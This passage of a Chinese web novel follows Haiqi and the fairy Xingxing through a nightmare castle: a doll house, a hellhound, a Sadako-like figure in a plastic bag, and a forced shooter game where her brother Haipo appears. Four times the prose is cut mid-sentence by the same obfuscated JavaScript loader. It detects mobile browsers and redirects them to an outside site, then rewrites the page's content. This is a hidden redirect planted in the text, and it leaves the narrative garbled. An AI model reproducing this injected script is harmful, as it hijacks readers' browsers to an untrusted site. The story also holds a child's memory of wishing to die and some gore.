“哥,为什么你要来我家看电视,白天不能放电视看。” “我想看就能看啊。”这是一个少年的声音。 “那能不能放动画片,我也想看。” 少年漫不经心地语气:“谁理你。” “你……我要告诉我爸爸!” 少年:“那你去吧,你看他理不理你。” “爸爸,哥哥欺负我!” “XX,过来一起玩啊,要不要留下来吃饭?”这是一个中年男人的声音。 “爸!他欺负我,而且他开电视看!” “他要看就看嘛,有什么好看的电视推荐一下?” “为什么他就可以看电视?不是说白天不能开电视吗?”小女孩怒吼。 “哥哥过来玩看一下电视有什么关系。” 紧接着是小女孩呜咽哭泣的声音,她躲在角落里,眼泪哇哇地流,哭得很大声,哭到鼻子完全堵住,喘不过气来。 “讨厌!好讨厌!这些人都好讨厌!去死吧!最好通通都去死!死无葬身之地!” “为什么……眼泪停不下来?为什么要一直哭?” “好想死……为什么我要活在这个世界上?我要什么时候才能长大?” 海旗的眼泪也在绵延不断。一句句看似稀松平常的话语,不断地攻击着那颗脆弱的心。 虽然脑袋一片空白,但她就是知道,这些声音来源于自己内心深处的记忆。 她想,那个娃娃,一定是这个梦境空间里自己的意识体。她知道它是。 现在的海旗还不明白,它为什么要给自己听到这些,难道想借此击破防线,好让海旗永远留在这里吗? “喜欢吗?”翻版娃娃突然闪现在海旗面前,大大的笑脸映在瞳孔中,稚嫩清泠的笑声听在耳朵里却是恐怖无比,“这只是一部分,我还有很多呢。” 海旗张了张嘴,冲开糊住嗓子的浆糊:“……我比较不喜欢你。” 翻版娃娃笑脸的线条往下掉,一个闪现又消失了。而后海旗感觉身体一轻,原本卡住腰部的展台不见了,整个人轻飘飘的浮在黑暗中,又好像在缓缓下坠。 下边是什么呢?是无边地狱吗? 海旗闭上眼,等待坠地的瞬间,心里知道:“没人会接住我……” 一个低沉的声音在耳边响起:“我会接住你。” 男人的长发扫到脸颊上,痒痒的。 下一秒,背后及膝弯处被男人的双手稳稳抄住。 海旗没有睁眼,将头靠在男人的肩膀上,手紧紧拽住衣领不放,生怕一松开他又消失不见。 他总是在自己最需要被安慰的时候出现,从小到大。 时间仿佛静止,谁都没有开口说话。男人已经稳稳站在黑暗的水平面上,将人抱得更紧。 静寂许久,海旗率先开口:“是不是我一睁眼,你就会消失?” 男人沉默不语。 海旗又轻声道:“你收劲儿收得我好疼。” 闻言,男人动了,想将人放下。但海旗不乐意,反手圈住对方脖颈。无奈只好继续抱着,只是手已经松劲儿了。 “你要是真实存在的就好了……” 男人终于还是开口了:“我一直都在。” “……” 海旗贪念这熟悉的气味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709387|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,闻着便能驱散所有的孤独与空虚。 “好了,你要消失就消失吧。”海旗松开了自己的手,示意男人可以放她下来了,“我要睁眼了。” 男人轻轻地将海旗放下,又在海旗睁眼前抬手覆在双眼上。男人低头与自己额头相抵,离得极近,似乎下一步就要做点什么。 但久久没有动作,海旗伸手想去触碰时,只觉眼上压力一松,他还是消失了。 在某个空旷暗淡的花园里,花儿含苞待放,可不论是花还是绿叶,皆无色彩。花园放置了一张木椅,男人仰着头慵懒地瘫坐在其中。男人缓缓将右手放到眼前,仔细端详,然后将手覆在自己的眼睛上,嘴角上升,直至笑出了声。 他笑得癫狂,笑了许久。花叶无风自动,也在疑惑主人为何发了疯。 “……海珀……海珀吗?”男人笑够了,看着手上的物件,自言自语道,“不如还是把你圈在这里吧……” 他另一只手上拿着的是个发圈,要是海旗在这里,肯定能认出来——这正是她高考时用过的。当时为了图吉利,特意挑的象征好兆头的钢笔样式。 海旗睁开眼时,身体的体感又不同了。她重新回到展台底下,保持着n字型姿势拿取暗格里的对讲机。而这回手一伸,拿到了。 “星星,拽我一把!”立刻呼唤帮手脱身。 星星应声使劲拉扯,费了老大劲儿终于将人解救出来了。 海旗问了星星有没有听到什么,但星星只是迷茫地摇摇头。看来两边的空间是被隔绝开的,是那个翻版娃娃搞的鬼。时间紧迫,海旗没有告诉星星在底下发生的事情,但承诺了晚些有机会再与之述说。 一个对讲机的出现还改变不了被困的现状,因为这啥东西拿出来后就不出声了,各个按钮按了一遍,企图与对面沟通也没有任何回应。 海旗气了:“把它砸了吧!” “砸了我们就没有线索了。”星星劝道,“还有,这个血越滴越慢了。” 闻言,海旗抬手去看,心脏又是一跳。原先血液是可以滴成血线的,如今一滴滴落,要有一秒后才滴下第二滴。 不知是不是因为海旗的话让翻版娃娃生气了,骤然缩短了她们的时间。 海旗急中生智:“那些娃娃都很精致很干净的,说不定有洁癖。正好这里除了对讲机和血液再无他物了,对讲机已经没用了,用血泼它们吧。” “有道理耶!”星星觉得可行,说干就干,也不嫌弃捧起之前流到地上的血,然后手指沾上后往四周弹。 两人忙活了一会儿,整个房间溅满了血滴,依然没有一个娃娃现身。 星星猜测道:“莫非这血液就是它们弄出来的东西,所以根本无人在意?” 海旗觉得也有理,想了想道:“那可以用你的鳞粉吗?这对它们来说属于外来物了吧?” 星星转头瞄了一眼自己的透明羽翼,咬咬牙道:“那我试试吧!” 海旗:“辛苦你了。” 海旗也起身跟在星星身后,以防有突然现身的娃娃漏看了。 “……小旗,”对讲机又好了,继续出声,“想见我吗?” 这是海珀的声音,但又不是海珀的语气。 是翻版娃娃的恶作剧?还是梦魇开始发力了? 30. 逃出生天 “我在花园等你……” 对讲机又传出了一句话。声音低沉又空灵,充满诱惑,引诱海旗沉/沦。 那个人就在城堡的花园里吗?正好,这是她们的目的地,她倒要看看这个冒充海珀的幕后黑手究竟是何方妖魔! “嘿!别跑!”星星的声音在二层响起。 海旗闻声上去,只见小家伙追着什么东西然后猛地撞到透明的墙壁上,晕头转向地掉下来。 上前接住星星,轻轻抱在怀里,给她揉揉小脑袋:“你还好吗?” 星星缓了缓神,说:“没事,我还能撑住。刚刚我看见那个翻版娃娃了,但它跑得太快了,我没抓住。” 翻版娃娃的现身就是来嘲笑她们的。方才为了捡一个对讲机已经花费了不少时间,后来做无用功也全是在浪费时间。 这头有狼,外边有犬,花园还有恶魔虎视眈眈。这个梦境空间竟没有一处安全的。 “滴答——滴答、滴答……”血滴的声音似乎停了! 下去一看,地面墙壁干干净净地,天花板也一片光滑——时间到了。 海旗喘着粗气,抬手捂住胸口,告诉自己:别慌,要冷静,会没事的。 “呵呵~” 银铃清脆的笑声出现在背后。一回头,那个翻版娃娃就坐在楼梯上,小脚丫触不着地,一下一下地晃着。 “时间到咯!”翻版娃娃脸上的笑容的线条歪歪扭扭,极其诡异,“你们……都、得、留、下、陪、我!” 星星躲在海旗肩膀后,轻声问:“我们不会真的出不去了吧?” 海旗低头看了看自己的手,侧头小声道:“这个先不说,我现在看这个东西不是很顺眼,它太干净了……” 见她伸手示意,星星立马反应过来,同样深有此意,给了海旗一个明白的眼神。 在看见星星快速飞过来时,翻版娃娃只是眯了眯眼,笑容更深,没有要躲开的意思,似乎很愿意和她们玩耍。 星星没有困难地抓住它,海旗也过来了,什么都不管,先拿它当擦手布,将手上的血污都染在娃娃身上。只是这满身血污再配上诡异的笑容,恐怖氛围立刻上来了。 海旗擦完手,将它丢进展台的暗格里,眼不见为净。她说:“我可不愿意留在这里!我们得想办法出去!” 星星点头表示赞同:“那我们还要找出那些藏起来的娃娃来吗?” “不找!”海旗坚决地说,“游戏结束了,我们已经输了。而且这场游戏我们太被动了!” 不只是这场游戏,一直以来,海旗都是被推着走的。从星星的出现被迫意识到自己的处境,到必须寻回意识体打破梦境空间。青凤的成蝶路和北冥雪和咔呜丢失多年的情谊,这些更多是运气加成方能如此顺利。完成某个简单的任务之后,自然而然就走向了既定的结局。 而在这里,翻版娃娃是“恶”的存在。它早早现身,却让海旗拿它一点办法都没有。 但海旗哪里愿意被困在这片狭小的天地。不如先将其放一边,先将眼前的“门”打开。 她不是没有底牌,控梦术这项万能术就是底牌。但她过于生疏,这片宁静的空间正好给了她练习和开发的机会。 “好了,我们准备离开这儿吧!”海旗起身,拍了拍身上的灰尘,整装待发。 小小天地对于时间的流逝没有一点实感,外面不知已经过了几个日夜。海旗争分夺秒熟练了许多,剩下几分生疏只差实操。 她们还为离开制定了万全之策,如今到了实施的时刻。 来到原先的门扉的位置,翻版娃娃已经在前面等着。 “它怎么又来了!”星星不耐烦道。 展台的暗格根本关不住它,练习期间已经抓了它好几次关进去了。 翻版娃娃这次嘴巴的线条变得平缓了,看起来不是很开心,说:“你们走不了的。” 星星嘀咕道:“这句话你都说好几遍了。” 海旗来到娃娃面前蹲下,伸出一只手温柔地问:“你愿意跟我一起离开吗?” 娃娃有些愣住了,显然没想到对方会这么做,呆愣了许久,最后一只手将海旗的手拍开,愤怒道:“我说了!你们谁都不能走!” 海旗也不让它,坚定道:“我也说了,我不愿意留在这里!” 话音刚落,娃娃的身后就显现出一道门扉,“咔哒”一声,门开了。 “!”娃娃扭头一看,原本被她抹去的门重新出现在那里。它生气了,手一挥,门又消失了。 但海旗又怎会让它如意,下一秒,门又回来了。拉扯两回,星星一把抓起娃娃,再次扔进暗格里封住。而后两人快速开门离开了娃娃屋。 等她们一出来,原本趴在楼梯间的大狗狗抬头望过来。这只地狱犬果然在门口守株待兔。 前有豺狼后有虎豹,只能选择一条新的路线快速逃离现场。 开盲盒也好过被前后夹击,应该。 地狱犬发现敌人出来后,立马化身暴躁小狗,“汪汪汪”地追上去。而再次从房间出来以后,海旗发现,这些楼梯布局又发生了改变,兜了一圈,竟然从另一个原本是死路的方向绕回了楼梯间。 这里还算空旷,海旗停住等着暴躁小狗过来,看着凶猛的地狱三头犬,露出一个邪恶的微笑。 其中一个暴躁狗头疑惑了一下,直觉不妙,但已经晚了。一个铁笼子从天而降,牢牢地将懵逼小狗锁定圈住。 “狗链没用,那狗笼总行了吧!”海旗拍拍手,要不是怕被咬,真想伸手去摸/摸狗头。 星星伸手和海旗击了一掌,也凑过去做了个鬼脸:“略略略!咬不着我们了吧!” 地狱犬很快反应过来,更是被激怒地狂吠,不断撞击妄想撞破铁笼。幸好海旗有防备,铁笼非常牢固,还牢牢镶嵌进地板下至少三十公分,想要撞破还是很难的。 但此地不宜久留,海旗催促星星快速离开,还是选择往下的楼梯。 星星问:“我们还去那个地下室送信吗?其实我们只要想办法攻略那个娃娃就好了。” 她已经知道翻版娃娃就是海旗在这个梦境空间的意识体,但还无法让其回归本我。 海旗摇摇头:“它身上承载的应该是我的负面能量,是我的恶,我目前还无法接受它,而它也一样。我们不一定要去地下室,但得去花园。” 对讲机这次被海旗一起带出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725429|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了,不过在此之前一直没有过声音。 这次下楼梯也很谨慎,一步步试探,但这些台阶都是正常的,竟然没有一个会出现的情况。一连下了两层都安然无恙。 但安全不会陪伴她太久,因为下一步诡异的又来了。应该要转角往下走的楼梯,竟然变成了对面往上走的阶梯,而阶梯上还堆放了垃圾,一股隐约的恶臭扑鼻而来。 海旗捂住鼻子,疑惑道:“这不对吧?” 星星问:“上面不会有什么小宠物吧?” “嗯……继续走吧。”海旗犹豫了一下,还是大胆地踏上了阶梯,一步一步走得极为缓慢。 楼梯上只是放了一袋黑色塑料袋装的垃圾,为了防止里面会有什么异样,海旗拿铁管戳了戳。里面的软绵绵的,感觉是装了两袋纸巾的手感,幸好是虚惊一场。 转角再往上走,上面还是放了垃圾袋,只不过这是红色塑料袋装的,隐约看得出来里面的是食物残渣和纸巾,是就餐过后的餐余垃圾。 视线在向上,每一个转角处都有塑料袋装的垃圾,每个塑料袋颜色还不同。这些向上的阶梯像是住宅区,人们将垃圾统一堆放在门口。 但海旗只觉得不妙。她已经确定,这个梦境是恐怖副本,这些出现在这里的垃圾一定没有那么简单。继续往上走,越觉得诡异不安。 小心翼翼地上一层楼后,恶臭突然加重,捂着鼻子都一股要反胃的冲动袭来。除此之外,一阵窸窸窣窣的声音从上方传来。 往上一看,上面放着的是一个透明塑料袋,而恶臭与声音皆是来自那个袋子。 里面的东西也发现了海旗她们,突然动得更猛烈,想要往楼梯处爬来。 星星躲在海旗背后还紧紧拽住她的衣服,而海旗虽然害怕,但没有后退,只是静静观察着那个东西。 透明塑料袋一点点地往台阶的方向挪近,海旗看见,顶着塑料袋往前挪动的,是一双手。也渐渐看清,塑料袋里装着的分明是一个人! 塑料袋的手摸索着要下台阶,海旗见状直倒退到身体贴着墙壁。 因为她看见了更让人震惊地画面——塑料袋里的是个女人,而她是反着身体往下爬的,头后仰着露出一双狰狞血红的眼睛,死死盯着海旗,双手双脚都被折断,反着艰难地爬行。 “贞子!”海旗的脑海里第一时间蹦出来这个女人的身份。 如果没猜错,这个小宠物一定来自于她看过的恐怖电影,恐怖形象深/入人心,在梦境里倒是有了目睹一眼风采的机会。 但海旗不是很想要这个机会,转身就跑! 塑料袋里的贞子见状爬得更快了,虽然也没快得了多少。 “不往上走了吗?”星星还以为海旗会壮着胆子过去的。 海旗跑下去两层,气喘吁吁道:“走啊!我……只是需要做一下心理建设……” “沙沙……原来小旗害怕这样的?”沉寂许久的对讲机又出声了,对面还在模仿海珀的声音。 星星听见声音瑟缩了一下。 海旗将它从包里取下来,按住按钮说:“偷/窥狂!闭嘴吧!” 对面没有回话,只是低沉地笑了几声,听得人火大。 31. 满屏游戏强制爱 贞子姐姐爬到一半就滑行下来了,巨大的声响砸在地上听着就疼。 不知是被刺/激到还是什么,海旗歇息了一会儿,就沉住气往回走。捂着鼻子在转角处偷偷摸/摸观察狰狞扭曲的透明塑料袋,不知能否放她过去。 塑料袋里面都是水汽,淌成水珠往下流,仿佛她是活着的,所有动作都只是为了挣脱这个系了死结的塑料袋。这些水珠或许是呼吸时的水汽,也许是汗水,也许还有泪水。随着贞子的动作扭曲变换,发出刺耳的噪声。也不知她在里面待了多久。 “你说,她还活着吗?”海旗小声地问星星。 “你看她哪里像还活着的样子,都臭了!”星星缩在海旗身后,也在小心翼翼地探头观察,而后指着一处道,“不过塑料袋里面好像有什么东西?你看见了吗?” 因为贞子姐姐身穿经典的白裙子,没错,和之前虫主给她的那条一模一样的。而塑料袋里透出了除了黑发白裙的其他色彩,一抹明亮的黄耀眼地出现在贞子脚踝的位置。 海旗用手肘撞了撞星星:“要不你过去把塑料袋解开吧!” 星星双眼瞪大:“你要不要看看你在说什么?” 海旗给出一个十分合理的理由:“你飞得快,有个什么突发状况翅膀一振就飞回来了。” 星星后退了至少三米远,头摇得拨浪鼓似的:“要去你自己去!反正我不去!” 海旗回头瞥了一眼星星,为没有坑到队友懊恼了一下,只能自己上了。 勇敢地把脚迈出去第一步后,第二步第三步就好走多了。忍住发颤的双腿,走到塑料袋面前,恶臭已经熏得海旗连连干呕。 贞子姐姐看见她一步步靠近也是越来越激动,双手挥舞着更奋力了。系的死结就在其头顶上,手刚探上去,就发现了塑料袋里边有什么东西在蠕动,小小白白的——是蛆! “淦!”海旗快速把手缩回来并退回到安全距离。 贞子姐姐看见马上就要解放她的人退开了,动作得更大了。她的指甲划过塑料袋的时候还将几只蛆虫嵌进指甲缝里爆浆了。 “你怎么退回来了?都到面前了!”星星一直留在原地远远看着,不解道。 海旗跑到她背后,推着她凑近些:“你看看就知道了……” 星星视力好,很快就发现了不对劲,嫌弃地掉头就跑:“咦!这城堡主人指不定有什么大病,养的都是什么啊!” 海旗倒是觉得合理,对于恐怖电影的城堡来说,这些东西确实是常客。不过她只在荧幕里感受过,如此真实的近距离还是很难以接受。 海旗说:“要不我们走快点越过她得了,实在害怕的话就闭上眼过去。” 星星指着塑料袋问:“那里面的东西不弄出来吗?” 海旗:“要不你去?” 星星猛烈摇头:“不要!我们还是走吧!” 此时,对讲机又“沙沙”响起了杂音。海旗将它从背包侧边抽出来,按住:“闭嘴!别逼逼!” “……”对讲机那头又是一阵轻笑。 做好心理准备后,海旗紧紧拉着星星的手,小心翼翼地踏上台阶,心里默念“看不到我”“我是透明人”等话。距离越近越是慌张,最后眼睛一闭,深吸一口气,大步跨过。 因为星星是飞在空中的,即使贞子姐姐要有什么动作,也碰不到星星身上。那么遭殃的就是海旗了,她已经中招了。 悄无声息路过这一招还是行不通,一靠近其范围就被贞子隔着塑料袋抓住了脚踝,刚闭上的眼睛猛地一下就被吓得睁开了。 近距离下更是看清了塑料袋里的情形。贞子被装进塑料袋前,似乎还是活着的,皮肉却腐烂生蛆。她的身体遍体鳞伤,没有一处好的。扭曲扬起的头颅上,满是鲜血,却挡不住那双猩红充满仇恨的双眼,下一秒就要将眼前之人活剥生吞。 她一定是遭受了非人的折磨才变成此番模样,还被当作垃圾一样丢弃在楼道里,等着被清扫出去。 “我们打个商量,我放你自由,你别伤害我,好不好?”海旗望着她的双眼试探道。 星星只觉得疯狂,但没有阻止的意思。 贞子的眼神没有任何变化,仿佛没有听懂。 海旗重新问了一遍,指着脚踝补充道:“你希望我让你出来的话,就把你的手松开。” 也不知道她到底听懂了没。海旗耐着性子等了一会,正要失去耐心使用武器去松开贞子的手时,脚踝上的力道轻了许多。 又等了一会儿,贞子姐姐已经缓缓松开了手,但双眼还是毫无波动。海旗也没有食言,认认真真地解开被打了死结的袋子,看着贞子缓慢爬出来。 解开之后海旗就第一时间退开了,而且没有脑子犯蒙往回走。 本想等贞子爬出来再去将里面的娃娃取出来,但是贞子一脱离塑料袋,竟然朝着海旗的方向快速爬行。没有了塑料袋的束缚,速度很快就爬上来抓住海旗的脚踝,抓得比方才用力多了。 海旗被拽得跌倒,反手撑着地恼怒道:“你也太不道德了,怎么说话不算数呢?” 星星飞得高高的,说:“你还指望贞子姐姐和你讲诚信啊?” 海旗:“……” 事实证明,在梦境空间里,谁都是不值得信任的! 这回可不止被抓脚踝,贞子的头渐渐凑近,獠牙迅速生长,张大嘴就要往海旗的小腿咬下去。 “你要干什么!”海旗大喊,手脚并用地试图睁开她的手,连铁管都抽出来横在她嘴上才保住了完整的小腿。但贞子抓得太紧,越是挣/扎越是抓得用力。 “哎呀呀!”楼道之上一道嘲笑之声响起,“你怎么这么狼狈?没有朋友来帮帮你吗?” 闻言,海旗的心被扎了一下。这些话一定来自她现实中的记忆。 星星指着上方栏杆上的一个娃娃激动道:“是那个翻版娃娃!” 随后反驳:“你可别乱说,这点小问题我们自己就能解决,不需要麻烦朋友!” 翻版娃娃歪了歪头道:“是不需要,还是没有?” 这次星星的情绪比任何时候都要激动,只见她指着翻版娃娃满脸怒气:“嘿!你这么欠揍的吗?你给我等着!海旗你等我一下,我去把她抓过来!” 海旗没有忘记之前与星星的失散,担忧道:“星星,你别乱跑啊!等下我找不到你了怎么办,这里可是个大迷宫啊!” 但星星已经飞远了。没办法,只能快些想办法解决掉贞子姐姐了。 先前也遇到一只抓她脚踝被她踹断了手的“小宠物”,看来此次也只能故技重施了。海旗利用控梦术快速变换出一把弯刀,将其横在贞子手腕下,猛地往上一发力,整齐地割断得以挣脱,同时血液狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778697|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喷,溅了一身。 虽说这是在梦境中,但对自己残忍血腥的暴力手段用在疑是活人的身上,不免心跳不已,心虚得无力起身。 贞子似乎非常意外自己的手被切断,竟从猩红的瞳孔中看出了一丝惊愕,随即仇恨地怒吼,口中的铁管被咬爆,同时震醒了海旗,这才得以起身跑开,开启了一场追逐战。 贞子紧紧贴着海旗身后爬行,每每要抓到脚踝时,海旗都贴着她的手躲开了。愤怒之余,爬行的速度更快了。 楼梯总是陷阱重重,因此又是往长廊跑的位置跑。长廊没有遮蔽物,只有几扇紧闭的门扉。门扉同样蕴藏着未知的危险,但也只有门扉能隔绝眼前的危机。 然而一道长廊三四扇门竟都拧不开,只剩尽头那扇独特的门。 这扇门的门框镶嵌彩色灯,门上挂着一个菱形木牌,边缘是暗蓝色灯管,看起来科技感十足,木牌上写着“游戏人生”。无疑门内是一个游戏房。 越是靠近,门内的声音愈发清晰,直到“砰”的一声传出枪声,门内的情况似乎不太妙。 但海旗的手已经放在门把手上,并向下拧开了。贞子紧随其后,海旗没有犹豫的时间,只能进去。 门“砰”的一声关上。果然这些“小宠物”们都不敢进入房间内,只能在长廊和楼道游走徘徊。 门内一片明亮炫彩的光差点晃瞎眼,里面是一个又一个巨大的屏幕被挂在墙壁上,屏幕上播放着精彩的游戏剧情以及玩法,方才听到的枪声就是来自其中一个游戏。 海旗没有细看,靠着门坐下喘顺气后,听了听门外的动静。贞子偶尔用指甲划拉门的声音极其刺耳,揉揉耳朵确认将门反锁好,等待离开的时机。 但这些游戏对好不容易到来的玩家非常兴奋,每一个屏幕都争先恐后地播放起自己最精彩的画面,企图吸引注意。 直到播放结束都未得到海旗的正眼,终于派出代表开始推销:“亲爱的玩家,请问您要选择什么游戏进行游玩?” 海旗闻声抬头,只见房间中间不知何时降下一个小屏幕,屏幕满是各类游戏等待宠幸。 海旗:“我不玩。” 机械电音:“……不行,您得玩!” 竟然还强迫选择!但海旗也并未动摇,她又不爱玩游戏。于是提高声音坚定地反驳:“我不玩!” 机械电音滋滋滋来了一段杂乱的电流音,本以为它要安分下来了,杂音中夹出来一句:“……已明白……请稍等。” 而后墙壁上其中一个屏幕竟是左右摇动几下,长出双手双脚下地朝着海旗走了过来,而屏幕上赫然写着“我不玩”三个粗字体,还有一个大大的感叹号,和海旗刚才说话的语气一模一样! 要是没记错的话,这个屏幕上的枪战游戏在刚刚还不叫这个名字的! 随着方方正正的电视怪一步步走近,海旗伸手指着他,抗议道:“干什么啊!强制游戏是吧?你别过来啊!” 电视怪哪里会听,屏幕微微倾斜触碰手指,紧接着海旗就被扭曲着传送进屏幕中,成为游戏里的玩家小人。 “欢迎来到逃亡激战,请选择你的队友。” 海旗:“我说了我不玩!是不是有毛病啊!” 而此时星星那边追翻版娃娃追丢了,返回去找海旗时:“咦?海旗跑哪儿去了?不是让她在这里等我的吗?” 32. 队友是熟人? “请选择你的队友。”机械音再次响起,并出现一个大粗箭头指着前面的架子。 对于被强行拉进游戏,海旗表示很生气,无视那个箭头转身就走。 然而游戏里是一个独立的空间,除了面前的对于队友的选项,再没有多一点东西。当然,海旗也不指望它会乖乖放自己离开,企图使用控梦术变幻出一扇任意门。 坏消息:控梦术又失灵了! 海旗怔愣地盯着一无所有的空气陷入沉思。这不是第一次了,尽管之前不熟练偶尔失灵并不觉得有什么问题,但现在是因为什么呢? 莫非这个独立的游戏空间是隔绝于梦境之外的?很显然不是! 那是……对了,星星去追那个翻版娃娃了,她们又一次失散了! 失散?对了,之前不灵的时候好像也是和星星失散了…… “这个游戏很危险哦~”熟悉的小身影出现在本该出现任意门的位置,“想出去吗?我可以帮你!” 海旗的双眼重新聚焦,警惕道:“你是想帮我,还是想坑我?比如将我带走囚禁?” 翻版娃娃呵呵笑道:“怎么会?你应该已经很清楚我是谁了,怎么会认为我会害你呢?你这样很伤我的心。” “就是因为知道你的身份,我才会认为你会害我!”海旗毅然转身走向选择队友的架子,随机指定一个方框,“我目前还无法接纳你,所以我选择通关游戏来离开,慢走不送。” “……”翻版娃娃收起嘴角的笑,慢慢隐去身形。 机械音响起:“本场为多人游戏,需二人或以上人数组成队伍开启游戏。是否继续选择队友?” 并凭空弹出一个选项框,一个绿色的“是”和一个色的“否”。 海旗想了想,既然是多人游戏,那当然多多益善。于是点击绿色键继续选择队友,并依次将架子上能点到的方框都点了个遍,然后系统紊乱了直叫唤。 整个房间闪烁起红色警告光和哔哔声,机械音冰冷尖锐地提示:“队伍人数上限为六人,不得超出上限!请取消多余选项!” 海旗只好捂着耳朵只留意下五个队友选项,总算安静了。然后弹出一个确定队友的选项,按下绿色键后,被选择的五个方框亮起一阵刺眼的光芒。 她算是发现了,她的梦境里有个什么神秘的东西,都要通过发光来展现特殊性。 五个人影站在光芒中,每一个影子都有着熟悉的感觉。 然而还没等真正看清都是谁,脚下突然踩空下坠,冰冷的机械音告知:“游戏即将开始,请好好活下去。” 海旗还没仔细看过游戏介绍,只从名称中得知这是一个逃亡型的枪战游戏,甚至还没看清队友都是谁,深感绝望! 不对,严谨一点来说,这个游戏刚刚还改名了,现在叫“我不玩!” 不对!现在不是需要这么严谨的时候! 现在应该考虑的是:她应该不至于在游戏一开始就摔死吧? 随着眼前一亮,穿过云层,扭头向下看去,底下是一片稀疏的森林,里面还有一些废弃的空房子,看起来像烂尾多年的工程已经长成森林。 底下这一片不论摔在哪个位置看起来都不想能活的,现在控梦术还失灵了,海旗的心还是有点慌。 说起失灵的控梦术,海旗已经得出结论了,那就是必须星星在她身边才能使用,否则就会失去金手指。 在深层的已经来不及细想了,还是想想看怎么活命吧,不知道她的队友们会不会来救她? 随着越来越接近地面,海旗此时此刻毫无办法,只能堵自己不会摔死。毕竟她对从天而降这事还算有经验,当时就没死成。 就在海旗闭眼等着砸进地面时,感觉到一个身影出现在身后,而自己则被那人稳稳接住,顿时卸去了下落的冲击力。 睁开眼一看,海旗震惊了:“海珀?” 紧接着心里疑惑,这是哪个海珀?是那个虚假的哥哥海珀,还是在对讲机里那头引诱她沉/沦的梦魇所化?还是游戏从她记忆里提取的形象所化? “怎么?见到哥哥不开心?” 此时海珀已经稳稳地落在地上,轻轻地放下海旗,温柔地朝着她笑。这是记忆里海珀的样子。 海旗怔怔地喊了一声:“哥?” 海珀伸手去揉她的脑袋:“嗯,头发都乱了。”说着就拆开黑海旗的马尾,重新把头发用手梳顺扎好,还顺带理了理刘海。 “啧。” 旁边响起一道不爽的声音,循声望去,又是一阵惊讶。海旗指着他满脸不可置信:“虫主?” 海珀也跟着看过去,问:“小旗,这是你新交的朋友?” 此时的幽夜是人形态,斜着靠在一棵粗壮的树底下,站在阴影里,看起来十分阴暗不好惹。只见他轻笑道:“自然,我与海旗是‘好朋友’。” 他说“好朋友”这三个字时还加重音量强调一下。海旗下意识地对哥哥摆手否认:“不是!我不认识他!” 幽夜微微一挑眉:“嗯?” 海珀意味深长地看着他:“哦~原来不认识啊。” 海旗左看看右看看,总感觉气氛怪怪的,甚至来不及思考为什么他们会出现在这里。既然幽夜在这里,那么青凤呢?青凤如何了? 如果他们就是她所选择的队友,那么还有剩下三个人又是谁呢?又该去哪里找到另外三人?仔细想想那只瞄了一眼的五个人影,依稀记得有一道很突兀地人鱼身影! 海旗有点蒙,一时不知该如何应对眼前的情形。 “砰!” 枪声响起,一颗子弹从海旗耳边擦过打在幽夜倚靠的树干上,耳朵被划破留下一道血痕。海珀将人拽过去护在怀里,被海旗挣开,反手拉着他往废弃房子里跑。 如果还留在那个虚假的幸福人生里,她可以很理所当然地享受哥哥的保护。虽然不知是自己内心的留念还是即将深渊的陷阱让海珀出现在这里,但她已经不需要被保护。游戏已经开始了,她要做的只有通关。 感受到海珀一瞬的失落,海旗还是于心不忍,草草解释道:“那个……我长大了,不能一直被你保护。” 敌军埋伏在暗处,对着狂奔的三人接连开了好几枪,但对面枪法好像不太好,根本不用扭头躲一下。 海珀双目紧盯被拉着的手良久,侧头瞥了一眼后面的幽夜,眉眼含笑,温柔道:“那就换小旗来保护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781929|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我吧。” 海旗别别扭扭地“嗯”了一声,转身躲进隐蔽的屋子里。 幽夜跟在后头自在地躲避子弹,看着前面兄妹俩不太正常的氛围,嗤了一声,更不爽了。 屋里有一个同样破烂的木桌子,桌上放着一把精致小巧的手枪,和不久前海旗用控梦术变幻出来那把没有子弹的一模一样。 “海珀,你会用枪吗?”海旗问。 海珀拿起桌上的手枪研究了一下:“我教你?” 海旗点头,而后两人快速过了一遍教学。 